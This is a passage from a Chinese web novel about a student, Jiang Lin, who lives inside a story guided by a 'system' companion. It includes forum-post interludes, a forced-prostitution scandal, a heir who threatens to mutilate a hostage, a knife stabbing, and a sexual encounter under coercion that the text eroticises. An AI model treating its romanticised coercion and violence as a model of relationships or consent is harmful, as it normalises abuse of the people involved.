56楼:最近更新,天选之子MNX正在和李在食堂约会(吃饭)。有说有笑,感情很好。 但是具体情况是江林面无表情的吃着米粉,李炎诞骂骂咧咧的吐槽着崔嘉树:“你别管这件事,我迟早要把崔嘉树这个神经病揍得走不动道!” 江林对他说的话,没有任何的表示,李炎诞可以护着江林暂时不被崔嘉树直接迫害,却也管不了这么多贫困生的死活,更严谨一点说,是他其实也不在乎,如果不是这件事可以威胁到江林,他甚至不会问一嘴。 李炎诞最近缠着紧,像是甩不开的牛皮糖,让江林觉得有些烦了,所以对他更没有好脸色。 江林吃饭没理他,李炎诞便有些躁动不安起来,伸手抓住他的手腕,沉声问他:“你不会真的打算管这种事情吧?” 江林甩开他的手,颇为真诚地问他:“和你有关系吗?” 李炎诞气得胸膛起伏了几瞬,表情骤然变得难看,从红变白,又变青,最终恢复如常,耐心逐渐被锻炼出来。 他露齿微笑:“怎么没关系,我可在追求你呢,他算是我竞争对手,知己知彼,才能百战不殆。” 江林嗦完最后一口粉,起身离开,多余的眼神都没给他。 时间过去半月,关于这场轰轰烈烈的“追求”愈演愈烈,没有任何落下帷幕的架势,甚至闹得整个学校人尽皆知的地步。江林成为了没有隐私的透明人,不管在哪里,都会有人在论坛定位,让他很难再有清净。 但是很快,空降的热搜的第一——【#金海南榕大学学生被强制卖/淫#】 这个劲爆的标题足够吸引眼球,让网民们的猎奇心理得到了足够的满足。 其中是上百个学生的自我伤痛的阐述,以及各种证据,其中有在校在读学生的求救,也有毕业学生的自我救赎。 上千页纸质证明,包括了录音证据,纸质证明,还有一些模糊的视频,全部指向南榕大学商学院,学院老师和某些财阀学生一起剥夺学生的基本权益,用学业或者家庭作为威胁,让某些寒窗十年苦读的学生沦为玩物等等。 一时间,崔主席的名字也出现在热搜名单上,因为这是录音中出现得最多的名字。 崔嘉树的背景资料被扒了干净,以及他本人的照片也被暴露在网上,无数学生共情,激情开麦,对崔嘉树以及他的背后的集团进行攻击。 【这位崔少爷什么来头啊,我靠,真是爸妈的好大儿啊。】 【emm如果是我知道的那个话,他家的确很牛逼,他母亲龙雅定就是南方这边最大投行的老板,你们可以在百度百科搜一下而且崔家确实庞然大物啊,金海最大的港口也是他们家的】 【我才知道南榕大学这么烂啊,@南榕大学官方微博不出来解释一下吗?】 【笑了,今年“最好”的招生简章。】 【不是,这真的不犯法吗不可以报警吗?】 【据可靠消息,人是上午抓的,中午就放出来了。】 【天哪,我以为这种事情只有泡菜国才有,我们这儿也有?】 【@南榕大学官方微博这种学生不开除,留着过年吗?】 【@南榕大学官方微博】 【@南榕大学官方微博】 “这些社会舆论并不会给崔嘉树造成实际性的影响。”傅清池的声音通过电话的过滤,显得更加低磁,这件事情如果不是通过傅清池的渠道,甚至根本不可能曝光在网上,因为没有哪个媒体敢去得罪崔家。 “没关系。”江林语调微微扬起,带着点笑:“我只需要他滚出学校就行。” 傅清池站在落地窗前,俯瞰着金海寸金寸土的商业街,脑海中却闪过江林醉红的眼,提醒道:“崔嘉树更加不可能放过你了。” “那又怎么样?”江林不在乎地说道,“你只需要注意崔尼安就好了。” “他应该不敢,目前崔家在龙雅定手中如同坚不可摧的盔甲。”傅清池实事求是地说道。崔尼安已经安分守己十几年,几乎完全放权的姿态,在国外游戏人生,突然回来也不太可能掀起什么风浪。 “不会的,他和崔嘉树一样,都是会咬人的狗不叫。”江林知道在故事后期,就是崔尼安和崔嘉树联手打了龙雅定一个措手不及,龙雅定当时毫无防备,因为一个是二十多年都乖顺听话的儿子,一个是她从未放在眼里的废物,龙雅定下台自此崔家父子才算是真的掌控了整个崔家。 现在无形的推动下,这一切都提前了,龙雅定也提前知道了自己的儿子不似自己认为的那般乖巧,也许会早早升起防备心。 “晚上有时间吗?”傅清池和他聊了一会,还是主动提道。 “没有。”江林直接回绝了他的邀请,“下次吧。” 【#今天崔少成功了吗#】 1098楼:喔嚯,看今天的热搜了嘛?所以咱们小星的反击是这个?还蛮厉害的诶。 1099楼:今天紧急召开了学院领导会议,就是要处理崔嘉树这件事呢,可能真的会被开除也说不定呢? 1100楼:所以说不能把人逼得太狠了,现在触底反弹了吧。 1101楼:崔开不开除的另说,我靠!我刚刚好像看见孟去了顶楼! 1102楼:!!!所以最终还是资本取得了胜利咯。 1103楼:唉,虽然很遗憾,但是我们还是需要恭祝一位纯洁的少年即将被资本玷污。 1104楼:还蛮可惜的 就如同论坛说的,江林的确出现在了金碧辉煌的顶楼,但他并非自愿,而是被半挟持,身后四个壮实的保镖,正巧今天李炎诞清早被一个电话叫走,江林是在学校图书馆被带走的。 他没有反抗,早就知道崔嘉树狗急跳墙,总会沉不住气的,已经预料会有这么一天。 如同第一次来,顶楼依旧奢靡繁华,水晶吊灯,穿着人模狗样的少爷小姐们,身上戴着价值不菲的珠宝翡翠,脸上带着矜持的笑容。门打开,众人的目光落在这个穿着风衣的少年身上,眼神微深,出现丝丝讶异,眼底的笑容越发明晃晃。 江林被带到崔嘉树身边。 他穿着白色的西装,姿态慵懒地靠在长沙发上,手腕戴着价值百万的手表,玫瑰金的配色,折射着吊灯的光芒,金丝边眼镜挂在鼻梁,唇角勾着温和的笑容,仿佛一个温润如玉的公子,玉树兰芝。 但视线扫过江林时,出现一抹深沉又不易察觉的野望,和他身上温润的气质割裂感很强。 江林像个洋娃娃坐在他身边,他顺从地坐下,距离崔嘉树只有半臂之远,两人脸上没有任何异样,丝毫不见任何的剑拔弩张,只有平静,一个比一个端的稳。 “嘿呀,崔少啊,你也算是火了啊,网上到处都是你的帅照呢。”有人发出阴阳怪气的笑容,倒是没有多少嘲笑的意思,更多的是对江林自不量力的嘲讽。 “那可不,嘉树啊,网上可是很多人在讨伐你,要送你去坐牢呢,你怎么想啊。”这些人根本不在意网上那些舆论,因为对他本身并不能造成任何的影响,只是一些不痛不痒的评论,根本无伤大雅。 这是他们能拿来说笑的谈资。 “我能怎么想,都是你情我愿的事情。”崔嘉树失笑,只觉得很无奈,不甚在意地抿了一口酒:“如果能让他们无聊的生活多一点乐趣,也算是一件行善积德的好事了。” “哈哈哈哈,不错,我们崔少可是出了名的好人啊。” 江林没有任何的表情,不会因为他们的话有任何的波动,但看了一眼旁边一层一层乌压压的健壮保镖们,也知道今天不可能草草结束了。 “今天呢,是我生日,大家撒开了玩,我买单。”崔嘉树举了举杯,满面笑容,眉眼温柔至极。 江林这才知道这场聚会的理由是崔嘉树的生日。 “我呢,还有一些私人事情要处理,就先失陪了。”崔嘉树扬起头,将香槟一饮而尽,然后在众人起哄的声音中朝着里面的房间走去,他抓住江林的手,将他也拽了进去。 身后充满了胜利者的欢呼声和喧闹声,让江林心情微凉。 房间内的门口、角落也站着保镖,宽敞明亮的房间,客厅和卧室连在一起,还有人高的衣柜和透明浴室,在客厅中间绑着个人,江林走近才看清楚少年的面容,苏溪。 崔嘉树脱了自己的外套,露出里面白色的马甲,姿态如同绅士贵族,邀请江林在沙发入座,然后抬脚,皮鞋踩在苏溪身上,苏溪手脚被束缚,嘴巴也被塞了黑布,只能发出闷哼声。 江林站着没动,静静地看着他,就算他做出任何恶心事情都不会觉得意外了。 “宝宝,好久不见呀。”崔嘉树弯着笑,在镜片之下,笑容变得虚伪不真切。 江林语气平淡,问他:“你想干什么?” “今天我生日,你也要对我这么冷漠吗?”崔嘉树像是和相熟的朋友聊天,有些可怜地望着他。 “”江林很轻地笑了一声,没有回答。 “宝宝,你还是很心软的。”崔嘉树认真地看着他,心情似乎很好,一直都在笑。 “你的那些手段对我没有用,放弃吧。”江林那张颇为稚嫩秀美的脸,有超出年纪的冷静,面对崔嘉树这样的变态,依旧能泰然自若。 “怎么会没有用呢?”崔嘉树歪头看着他,用力碾着苏溪的胳膊,尽管苏溪用力忍耐,却还是发出了骨骼清脆的声响。 “如果没有用,你就不会发到网上了呀。” 江林轻轻拧了下眉,神色微动,表情有些紧绷。 崔嘉树自顾自地点头,眉眼间称赞:“但是宝宝很棒,我可能真的会被开除。” “你应该会很开心吧,宝宝。” 江林对于他一口一个宝宝,不为所动,甚至恶寒,他微微一笑:“当然高兴,如果你去死,我会更高兴。” “就这么恨我吗?我到底做了什么错事啊?”崔嘉树似乎不解,抬手抓着苏溪的绳索将人拽起来,按住脑袋放在茶几上。 江林懒得细数他的罪名,视线扫过苏溪悔恨的眼神,似乎懊恼不已,崔嘉树从旁边的苹果上抽出锋利的水果刀,眼神含着笑,抬眼问江林:“我如果在这里将他的手指一根根切下来,你会无动于衷,还是主动落入我的陷阱呢?” 江林脸上表情像是逐渐结冰的冰块,冒着冷气,崔嘉树解开苏溪口中的束缚,苏溪便大喊起来:“不要管我,求你,不要管我!你已经帮过我一次,不需要” 苏溪的原本的意思是想让江林不管他,但他又被崔嘉树这个卑劣的小人利用了,崔嘉树唇角勾起更深的笑容:“他是个很好的男孩儿,一直在阻止我的计划,想要保护你,现在更是准备英勇赴死,但是你真的舍得看他变成没有手的废人吗?” 崔嘉树将苏溪身上的绳索解开,保镖按住了他扭动挣扎的身躯,他白皙的五指颤抖地出现在茶几上,汗晕湿了玻璃,刀锋滑过玻璃茶几,发出一些刺耳的声响,苏溪因为恐惧涕泗横流,眼泪和鼻涕糊了满脸。 锋刃缓慢地划破了他的肌肤,苏溪闭上眼睛,浑身颤抖,眼前闪过红光。 “住手。”江林开口了,嗓音清冷。 崔嘉树停住手,他笑着抬头看向江林,脸上带着兴奋又蠢蠢欲动的笑容,眼底又有笃定他会叫停的自信。苏溪也睁开泪眼婆娑的眼睛,从鼻腔发出劫后余生的喘息,刀已经划破他拇指的肌肤,血顺着玻璃往下淌着,如果江林再慢一秒,也许他的手指就会被斩断。 “放开他。”江林走上前,伸手握住崔嘉树拿刀的手,那双弧度圆润的眸子依旧冷静,毫无愤怒之色,并没有被他激怒,手指很凉,也很软。 崔嘉树因为他的主动靠近而觉得身心愉悦,松开苏溪,颇为伤心地说道:“你对谁都心软,只对我狠心。” 江林不置可否,声音很沉也很哑:“让他出去吧。” “好的,宝宝。”崔嘉树突然像是变了一个人,仿佛刚刚乖戾暴虐的人不是他,苏溪被拖了出去,像死狗般地脱力一样。 苏溪第一次绝望又伤心,再次无助地发现他的存在也许就是江林的拖累。一次次成为被利用的工具,成为刺向他的尖刀。好心也只是负担,在这次离开顶楼之后,他申请了退学。 房间内,还有五六名保镖,崔嘉树不放心江林呢。 “你想要什么?”江林大门重新关上,才低声开口。 “我想要什么你不是一直都知道吗?只是吊着我,看着我为你疯狂是不是会有一点成就感呢。”崔嘉树主动靠近他,抬手握住他的手,放低了自己的姿态。 江林这次没躲,崔嘉树弯下腰,半跪在他腿边,像是回到了宿舍,他们还未撕破脸皮的时候,江林抬手不轻不重地扇了一下的脸,脸上终于出现一丝变化。 崔嘉树主动亲吻他的指腹,露出一点包容温和的笑容,问他:“够不够,这边也给你扇好不好?” 但是他温柔的皮革下,疯狂的灵魂如同蟒蛇般,缠得让人窒息。 江林没留情,抬手扇了过去,随后慢慢道:“其实我都不敢打你,我怕你舔我的手,脏死了。” 崔嘉树想要亲他手指的动作一顿,又重新扬起笑脸,打歪的眼镜被他摘掉随意的放在桌上。 崔嘉树亲吻着他的手背,语气很虔诚,望向江林的眼神憧憬,如同看见了自己的神明,“你给李炎诞的,一样不落我也要,这就是我今天许下的生日愿望。” “生日愿望?”江林毫不留情地戳了他的痛楚,他伸手掐着崔嘉树的脖子:“你还会过生日啊?你不是最讨厌过生日了吗?因为从来没有人记得你的生日。” 崔嘉树的笑容有些僵硬,他的底色是自卑,从小爹不疼娘不爱,还要装成一个满脸笑容的乖巧男孩,从小便会隐藏自己天生的阴暗性格成为阳光明媚大男孩,这么多年也难怪会变成神经病。 江林的手劲微微用力,崔嘉树主动将自己脆弱的脖颈暴露在他手下,因为窒息脸颊泛起红,额前青筋暴起,听着江林没有任何情绪波动的话:“我有没有和你说过很多遍我喜欢听话的狗?” “从小你爸妈都不爱你,你觉得还会有人会爱你吗?” 这话让崔嘉树眼瞳都收缩了一瞬,撕开他一切的伪装,直直地朝着他心窝子里插刀,鲜血淋淋,无法忽视,连呼吸都变得凌冽难受,肺腑生疼。 很多人都知道他可怜,但是没人敢这么直接说出来。 但可怜之人必有可恨之处。 “除了会威胁人,你还会什么?”江林松开手,很认真地问他,那双眼清澈地倒映着崔嘉树打扮精致的模样,但他眼眸中却是诡谲的疯意,所有的伪装不过是一戳就破的泡沫。 就算身边围绕着再多人又怎么样,有谁有一分真心吗? 没有,都是利益驱使的苍蝇环绕,看似繁花似锦,实则败絮其中。 “世界上这么多男人,我一直不能理解,你为什么缠着我不放?”江林睨着他,眼神很淡。 “”崔嘉树不知道,但江林已经成为了他的执念,从小到大他要什么都会得到除了亲情。他是意外,而且每次动手,江林都会毫不留情地破坏他的计划,从某种方面斩断他的念想,甚至给他以重击,试图让他知难而退。 但崔嘉树若是知难而退的人,便就不叫崔嘉树了。 第一次给江林下药,被母亲鞭打监禁。第二次逃出来找他,和李炎诞互殴,又被送进特殊治疗医院,变本加厉地电击和水疗,身体现在都呈现出一种异常的、病理的敏感。 第三次试图让江林心软屈服,又被网上众人唾骂网暴,成为上流社会的笑柄,甚至面临退学的风险,成为南榕商学院第一个被退学的少爷。 这是第四次,他也想知道,这次江林又会让他付出什么代价呢? 江林看似软和温柔,但却带着尖锐的荆棘,扎了满手血也不舍得松开。 每一次的试探和图谋都没有任何的成功,甚至会被狠狠教训,求而不得,所以执念成魔。 “因为爱你啊。”崔嘉树能面不改色地说爱,但不管是江林还是他自己似乎都不信。 江林觉得崔嘉树的纠缠索然无味,也让他厌烦了无止境的威胁,拧起一点黛色的眉宇,抓着他的下颌,让他仰起头,端详着他温润虚假笑脸,说话突然低了低:“如果你只是想和李炎诞一样,这么渴望尝试一下被cao的感觉,我可以成全你的。” 崔嘉树眨了眨眼,似乎没想到这么快就达成了目的,眉眼间有些惊喜之色,虚假的温润都凝滞了一瞬。 他此刻已经没想再搞江林,只想和视频中一样,让江林为他红一次眼眶。 “但你应该知道这对于我来说,什么都说明不了,也证明不了。”江林眼中掠过惊人的薄凉,低头望着他,他很平淡地说道:“去把自己洗干净。” 崔嘉树被他轻易的态度弄得有些难以置信,开始怀疑此前遭受的一切困难是不是都是泡影,他不敢犹豫,去了浴室,像江林说的,肌肤每一寸都洗干净,里里外外,一点都没有落下。 江林静静地坐在沙发上,给自己倒了一杯冰水,眉眼间的神色很淡,不刻意温柔乖顺的江林有一种淡漠的冷,是对于所有事物无欲无求的冷淡。 他从来不认为上/床这件事能代表任何的意义,只是身体疏解欲望的一种方式,上次李炎诞情势所逼,现在崔嘉树纠缠不休。 他不在意,但也不会乱搞,随心所欲,不愿意受束缚。 那是需要他主动愿意给,像这种半胁迫的他需要给崔嘉树一点深切的教训。 总是学不乖。 江林听见身后有脚步声响起,拖鞋的拖沓声。他回头看,崔嘉树身上□□,大剌剌地展示着自己的身体,在屋内还有不少保镖的情况下,身上的水珠滚落他的肌肤。他皮肤偏白,从小养尊处优地养着的,所以当沟壑的伤痕出现他肌肤上的时候,就显得触目惊心。 他身上有鞭痕,有电击灼烧肌肤留下大片痕迹,还有各种各样的疤,新旧交织,有些才刚刚结痂。 若是寻常人见了,总会因为同理心而产生一些心疼的情绪,但江林只是轻轻扫过,低声开口:“让这些保镖都出去吧,我不喜欢被人围观。” 崔嘉树歪头犹豫了一秒,最终还是点了点头,附和道:“好的,说实话,我也不太喜欢。” 保镖全部都出去了,但没有走远只是守在门口,崔嘉树凑近他,依旧很乖地半跪在他脚边,抬头仰着吻他唇,以一种虔诚的姿势,江林乌色的睫毛微微一颤,任由他微凉的唇吻上自己的。 “希望我身上的伤不会吓到你。”崔嘉树还怪有礼貌地道歉。 江林没说话,静静地睨看着他,薄唇毫无弧度,直到崔嘉树试探地舔上来,撬开他柔软的唇瓣。他激动得浑身都在发抖,吻到了梦寐以求的人,喉头发紧,望着江林漂亮的脸,几乎要流泪了。 江林让他亲了两分钟,毫不怜惜地拽住他的头发,将两人的唇瓣剥离,他浅粉的唇色像是渡上了一层淋漓的水光,就算面容故作冷淡,嘴唇也显得极为柔软:“躺到茶几上去。” 崔嘉树现在很听话,将茶几上的东西一股脑扫在地上,毫无怨言地贴着冰冷的玻璃,他有些担忧地问:“茶几会不会塌掉,毕竟两个人” 江林没有回答他这种带着暧昧的话语,按住他的手腕,半蹲下身,主动地低头吻住他的唇,崔嘉树睁了睁眼,近乎痴迷地看着他,主动去回应他不冷不热的吻,想要抱住他,但是手被他死死按在茶几上。 就在江林吮他下唇的瞬间,崔嘉树看见他眼底闪过一丝冷冽的眸光,下一瞬,尖锐的疼痛瞬间让他头皮发麻,骨骼和肌肉同一时间紧缩,他发出一声抑制不住的惨叫声,茶几的玻璃也发出不堪重负的碎裂声,一角轻轻的裂开痕迹。 包裹着糖果的毒药,入口是甜腻回甘的美味,但进入肺腑却烧肺灼肝。 “你”崔嘉树的掌心被那把带血的水果刀贯穿了,瞬间脸色发白,身体表现出痉挛似的痛楚,江林因为用力,脸部有些凶狠地拧眉,手牢牢抓着匕首,动作毫不犹豫、干脆利落,刀尖几乎镶嵌入玻璃茶几里。 保镖很快冲了进来,但是没有崔嘉树的命令,丝毫不敢动。 “手被人刺穿的滋味怎么样?爽吗?”江林专注地注视着他,这一刻眼神中似乎只有他一个人,根本不在乎旁边虎视眈眈的保镖们。 “呵”崔嘉树疼得抽气,但精神却极度地兴奋。他像个变态,因为这些天的折磨,早就不觉得疼痛是疼痛了,但身体已经在控制不住地发抖,血顺着刀锋留下,滴答落在地毯上,和苏溪的血重叠在一起,让米色的地毯变得血迹斑斑,肮脏不堪。 “要手,还是要继续?”江林轻轻擦了擦他额前的汗,语气很平淡,仿佛刚刚下狠手的人不是他,甚至眉眼间染上了一点浅浅的笑意,带着一丝畅快:“只有一次机会。” 崔嘉树那双浅棕色的眸子,逆着光,只能看清楚江林的脸庞,梦中出现过无数次的脸,此刻真实地出现在他面前,手心的疼是身体的折磨,但江林是他精神的折磨。 他舔了舔泛红的唇,扯起一抹笑容,温和的脸庞因为疼痛而狰狞,他回答:“要你” “可以。”江林扔下水果刀,看向面面相觑的保镖们,礼貌地笑了笑:“麻烦回避一下。” 众人崔少爷的眼神下又鱼贯而出,不敢有半点迟疑。 江林这才正视眼前的男人,发现他的目光重新凝在自己身上,他脱掉了自己的外套整齐地放在沙发上,轻轻看着那具看起来不太健康却又十分强壮的男人身躯,捡起纸巾擦了擦自己手指刚刚不小心沾上的血。 崔嘉树感觉自己的神经一直处于紧绷的状态,正在一凸一凸地跳着,不知道是痛意让他的视线模糊,还是此刻餍足的快感让他眼神恍惚,他觉得自己像是置身在幸福的温暖中。 少年的脸在他视线中逐渐变红,像是粉扑扑逐渐成熟的桃子,脸上那股冷淡和陌生的即视感散去不少,他的脖子也逐渐变红了,抿着唇努力的样子,显得极为认真可爱。 江林根本没有照顾崔嘉树感受的心情,自己怎么舒服怎么来。 崔嘉树神色恍惚、呼吸很重,他想要伸手触碰江林的手臂,被江林伸手打落,撇了撇嘴:“别碰我。” 崔嘉树肌肤染上了鲜红的血迹,血多得像是快要流尽而亡般,身体越是疼,他精神越是异常的兴奋,能看清楚江林的每一个表情、听清楚逐渐沉重的呼吸声、感觉到每一丝不明显的变化。 江林他的主宰,控制着他的身体和精神。 时间没有很长,江林穿好外套,看着脸颊红,但嘴唇呈现逐渐失去血色的崔嘉树,他双眼无法聚焦的迷离,这不像是欢场,更像是凶杀现场。 江林怕他听不清,弯腰凑到他耳边,语气带着点淡淡的笑意,“下次想好是拿哪一只手,或者哪一只脚来换吧,不用威胁人,这样更快呢。” 崔嘉树愣了一瞬,感觉受伤的手又突然开始出现尖锐的疼了,身体在控制不住的害怕他,但他却露出一点甜蜜的笑容,喘气称赞道:“好的,宝宝,宝宝好厉害” 江林没空理会他的赞美,起身离开,毫无留恋,原本江林还被门口的保镖拦住,江林不耐烦地回头看了一眼崔嘉树,他正痴痴地看着他。 保镖看着倒在血泊中的少爷摆了摆手,才放行。 那么多血,江林身上没有沾到一滴,干干净净、清清爽爽地离开了顶楼,为崔嘉树庆生的人见他完好无损地出来,都有些惊讶,没想到这么快,江林径直离开了这个空气都难闻的地方。 等江林离开几分钟,崔嘉树才从极度兴奋中缓过神来,依旧能撑起身体站起来,看着还在淌血的手掌,眼前有些冒星星,很明显地失血过多症状,他走到偌大衣柜面前,抬手打开门。 里面是五花大绑的李炎诞。 他正睁着那双血红的大眼瞪着他,脸赤红一片,被封住了嘴,双眼有勃然大怒也有心惊,心惊于崔嘉树这个疯子,就算冒着手被毁的风险,甚至生命危险也要江林,真的是一个不要命的神经病。 崔嘉树却大方地展示着自己的身体,像是炫耀什么战利品,他唇角弯着笑:“我受过的苦,我感受到的嫉妒,你也要感同身受才行啊。” “小炎,我觉得他性感又可爱,看着瘦瘦小小的,还蛮有力气的诶,怎么会有这么完美的人,只是太凶了,手还是有点儿痛的。”崔嘉树故意这么说道,依旧记恨着当初李炎诞的截胡之仇。 李炎诞气得快头顶冒青烟,看着血都快流干的男人,恨不得他马上去死,若是他能说话,一定会骂得很脏,倒是要看看谁才是不要脸的婊/子。 江林并不知道李炎诞就被藏在衣柜里,坐在出租车上,还很有同理心地问了一下系统:“他死了吗?” “还没,但再这么流下就不一定了。”系统有些紧张地说道,突然想起来,他宿主一直都是一个睚眦必报、不会心慈手软的人,之前只是被孟南星的人设蒙蔽了双眼,还以为他要一直装温顺乖巧。 “那太可惜了。”江林心中叹息,早有预料这些人应该都比较难杀,倒也没有很遗憾。 系统挣扎了一瞬:“但是宿主您还是有涉嫌违背人设的嫌疑” “人被逼急了,出现一些应激行为难得不对吗?”江林解释道:“那句老话怎么说来着,兔子急了还咬人?” 系统:等等,您确定您是兔子???那么干脆利落废人手的兔子?! 第36章 崔嘉树被连夜送到医院, 救护车直接开到了顶楼,众人见他满身是血地抬出来,脸色发白, 瞬间没有了任何喝酒的心思,心中的八卦之魂熊熊燃烧着, 纷纷小声议论起来。 【#今天崔少成功了吗#】 1890楼:别猜了,孟vs崔完胜,战绩可查, 现在崔刚刚被抬进医院,手上全是血, 已经神志不清的在急救了。 1891楼:???不是说孟主动去认输吗? 1892楼:我的乖乖,所以说孟反杀了? 1893楼:顶楼那么多崔的人,如果孟真的做了什么,怎么可能完好无损地离开?别开玩笑了。 1894楼:当时房间里就他们两人,难道崔脑子有病,自己刺伤了自己吗?都说豪门多出情种, 崔可能就是情种呢, 毕竟他看着也不像脑子正常的, 谁好人家这么追人? 1895楼:笑了,你别说, 你还真别说, 还真有可能是孟伤的,然后崔不舍得动他。 1896楼:我靠,刚刚在路上碰见孟了, 我好想去问他今天到底发生了什么事哦。 1897楼:别怕,就是上?! 1898楼:我不敢,再见 夜色微凉, 风吹淡了江林身上点点的燥意,身处顶楼的暖气中,总是会让人有一种忍不住沉醉其中的不真实感。 旁边的梧桐树树荫摇曳,发出沙沙的声响,他穿着风衣,微微竖起的领子挡住了小半张脸,在寝室楼下,江林瞧见了意想不到的人。 傅清池倚在车前,低调的黑色大众,他带着一个黑色的帽子,大致遮住了他脸上的伤疤,只露出轮廓分明的下巴,身边没有别人。 江林脚步一顿,刘海散乱半遮住懒散的眉眼,朝着傅清池抬脚过去,路上的人很少有认识傅清池的,毕竟他已经毕业五年,而且上学期间低调,没人认识也正常。 “”傅清池余光瞥见江林,掐灭了手中的烟,帽檐下的眼看不清神色,但江林能感觉男人有实质的目光落在他脸上,隐秘又沉重,有一种小心翼翼的试探。 “你怎么来了?”江林率先开口,像是老朋友似的打招呼,语气熟稔,带着礼貌地淡笑。 傅清池没说话,他已经收到崔嘉树进医院的消息,而江林完好无损地站在他面前,这场针尖对麦芒的“战争”,很明显是眼前的人取得了胜利,他一开始的忧心都是多余的。 “派人跟踪我呀?”风吹动着他额前的刘海,露出那双微弯带笑的眼睛,似乎毫不介意这种冒犯的行为。江林嗓音很轻哑,带着令人心悸的性感,虽然是问句,但语气却是肯定的。 “知道你被带走,我有点担心。”傅清池烟嗓沙哑,江林没有向他求助,所以他没有擅自破坏他的行动,还有点担忧就是顶楼都是崔嘉树的人,就算是他也没有万全的把握将人救出来。 “是吗?谢谢关心。”江林眯着眼,享受着舒适的晚风。 “今天要去我那儿休息吗?”傅清池静静看着他,视线对上他的目光,没有抱希望。 “可以。”江林没有拒绝,坐进他车里。 回到宿舍需要应付不再有任何遮掩和克制的李炎诞,还不如和傅清池待在一起,至少他耳根会清净不少。 傅清池亲自开车,江林坐在副驾驶,环视一周,低声开口:“看不出来,傅总平时这么低调?” “助理的车。”傅清池回答。 江林从旁边拿出一个四四方方的塑料包装,夹在两指之间,笑着说道:“你助理平时玩得挺花啊?” 傅清池蹙眉抿唇,没有过多地辩解。 江林将byt随意地搁在车前,拢了拢自己的衣服,找了个舒服的姿势靠着,目光看着不断后退的树阴,慢慢悠悠开口:“我最近收到了清源商贸的offer,你给我的吧?” 最近通过各种途径给他抛橄榄枝的人很多,兼职不好找,毕竟江林需要上课,但清源商贸开出的薪资也好,给的工作安排也好,都是给江林量身打造的。 如果不看offer,江林会认为是一个非常完整的人才培养计划。 “你现在虽然是学生,但时间宝贵,不应该为了钱处心积虑。”傅清池犹豫了一瞬:“钱我可以给你。” 江林歪了一下头,开了一点窗,不喜欢闻车上空调混杂着皮革的难闻味道,他笑了一下,声音随着风声转到他耳朵:“傅总财大气粗,是要包养我吗?” “包养我很贵的。” “而且很麻烦。” 傅清池却不太喜欢这个词,认真说道:“我会和你签署资助合同,不是在单纯地做慈善,毕业以后,你需要先来清源工作三年。” 清源商贸集团现在是他亲弟弟在管。 江林考虑着这个事情的可行性,他不知道这个世界是属于任务完成直接结束,还是需要顶着这个身份一直活到死,“我考虑一下吧。” 傅清池不着急,车驶出学校,两人没有说话,傅清池一直都是一个沉默寡言的,他默默关闭了空调。 江林也不是一个没话找话的人,但气氛并不尴尬,放着悠扬的音乐。 傅清池的住处不算金海的顶级富人小区,算是中等偏上,大平层,中式风格的装修。 家具都是深色原木的色调,茶几上摆放着茶宠——三足金蟾,茶具摆放在旁边,客厅没有电视,只有一大片的书架,里面塞满了书。 “我还以为来了图书馆呢。”江林轻声呢喃了一句,四处可见的书架,就像傅清池这个人一样,沉稳又深厚的气质突然就凸显出来了。 “先坐吧。”傅清池没回答他的吐槽,问他:“想喝什么吗?” “想喝茶还是算了,晚上喝茶容易失眠,牛奶吧。”江林坐木椅上,下意识的将背挺直了,硬邦邦的坐得屁股疼。 这里的生活痕迹很重,烟灰缸里零星的烟头,茶几底下空了几个茶包的空隙,门口上了年纪的鞋柜。 江林轻轻挑了下眉,他以为傅清池拐大学生出去开房,没想到他真的把自己领回家了? “喏。”傅清池将牛奶给他。 江林握了握杯壁,发现还是温热的,所以他怎么在这么短的时间热好牛奶的呢? “怎么样?会不会太甜?”傅清池低声问。 江林摇了摇头:“正好。” 傅清池便没话了。 “傅总让我来家,就是为了喝牛奶啊?”江林觉得有些好笑,唇角泛着白色的奶渍,他轻轻舔了舔,露出一截舌尖,眼神弯着笑,直勾勾看着他。 傅清池还没摘帽子,只能看见阴影中那双眼也在静静看着他。 “还想和你说一说那三家的事情” “电话不能说吗?当面说能让事情变得简单吗?”江林温柔又带有攻击性,礼貌又客气地问他。 “如果我没有失忆的话,我们今天上午刚刚有过通话。” 傅清池便沉默地闭了嘴,实在是金口难开,江林也不太想和哑巴说话,懒得等闷葫芦开口,直接道:“客房是哪间?我要睡觉了。” 傅清池心中有些懊恼,明明平时工作时间并不是笨嘴,但是面对小自己几岁的江林,常常不知道怎么开口,总感觉自己有点道德层面上的缺乏良心。 “这边。”傅清池站起来,领着他去客房。 门刚刚打开,灯还未开,傅清池被江林一推,差点摔倒在房间里。 江林抓着他的手腕,将人拉近自己,抬手摘掉他的帽子,柔软的掌心拢着他的脸颊,黑暗中,轻声问他:“想泡我这么难开口吗?” 傅清池抓着他的手腕,月光落下,依稀能看清楚彼此的容颜,无奈坦白:“你年纪太小了,我开不了口。” 江林才刚刚十八,还有四个月才过十九岁生日。 “嗯,你开不了口。”江林眉眼间有些遗憾,手指拂过他脸上的疤痕,“所以这辈子都会被人捷足先登,我刚刚上了崔嘉树,现在身上都是他的味道” 傅清池脸上神情以肉眼可见的神情阴沉下来,他长得俊朗,明明应该是那种让女人非常心动的硬朗阳光类型,但脸上不大不小的伤疤却从鼻梁横跨了左右两半张脸,阴鸷的眼神下,显得越发阴冷,身上沉稳冷静的气质会轻而易举因为崔嘉树而破防。 “还有李炎诞也比你快。”江林鼓动人心的女鬼,手指缓缓抚摸着他伤口,问他:“你还开不了口吗?” “这几个畜生。”傅清池几乎从牙关中挤出这句话。 傅清池从小就知道,这三人骨子里都是坏胚,因为年纪轻,上过他们的当,他脸上的伤也是几人造成的。 当初傅家落败,秦锐清三人不爽小时候傅清池揍过他们,记恨了很久,给他端来下了药的酒,配合当时傅家的仇敌抓走了他。他当时见他们年纪小所以没什么防备,受尽折磨被救回来,但是被毁了容,李、崔、秦三家如日中天,父母只能忍气吞声。 这么多年,偌大的金海,尘封的记忆依旧浮动在光影中,无人忘怀。 傅清池能感觉眼前的少年对自己有不小的吸引力,但看着年轻水嫩的脸,就是无法说服自己去下手,就算现在也是,只觉得江林用力拥抱就会碎掉,有欲望但更多的是想要满足他的需求。 就像保护自己的弟弟般。 江林看懂了他眼中的神色,唇角微微勾起,手抚摸着他有力的臂膀,露出一点纯真的神情,脸颊逐渐红了起来,靠得近,江林轻柔的呼吸洒在他脸上,“我喜欢和你接吻很舒服。” 傅清池看着近在咫尺的脸,再多的克制都无果,两人吻在一起。 江林无所顾忌,只是享受,享受着傅清池费尽心力和手段地讨好 “学长,帮我洗澡吧,我懒得动了。”江林松开抱住他肩膀的手,双眼泛红,懒懒散散的像是提不起精神,他有些困了,生物钟到了睡觉的时间。 